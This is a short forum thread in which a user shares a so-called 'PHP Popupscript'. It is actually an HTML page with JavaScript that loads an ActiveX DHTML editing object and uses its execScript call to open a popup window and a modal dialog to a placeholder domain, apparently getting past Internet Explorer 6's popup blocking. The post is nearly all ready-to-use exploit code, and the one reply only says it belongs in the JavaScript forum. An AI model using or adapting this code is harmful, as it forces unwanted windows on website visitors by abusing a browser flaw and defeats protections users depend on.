PHP Popupscript

hades

Newbie
Joined
Dec 19, 2006
Messages
45
Reaction score
79
PHP:
<html>
<head>
<title> </title>
<meta name="author" content="Marc">
<meta name="editor" content="html-editor phase 5">
</head>
<body onload="setTimeout(' main() ',1000)">
<object
 id="x"
 classid="clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A"
 width="1"
 height="1"
 align="middle"
>
<PARAM NAME="ActivateApplets" VALUE="1">
<PARAM NAME="ActivateActiveXControls" VALUE="1">
</object>

<SCRIPT>


function shellscript()
{
 open("youtdomain","_blank","scrollbar=no");
 showModalDialog("your domain");
 }

function main()
{
 x.DOM.Script.execScript(shellscript.toString());
 x.DOM.Script.setTimeout("shellscript()");
}
</SCRIPT>
<br><br><br><br><br><br><center><img src=nocigar.gif><br><br><FONT FACE=ARIAL SIZE 12PT>NO CIGAR !</FONT></center>
</body>
</html>

work with ie 6
 
Thanks for the share, but this actually isn't php code at all, this is JavaScript.

Should be posted in the HTML/Javascript forum.
 
Back
Top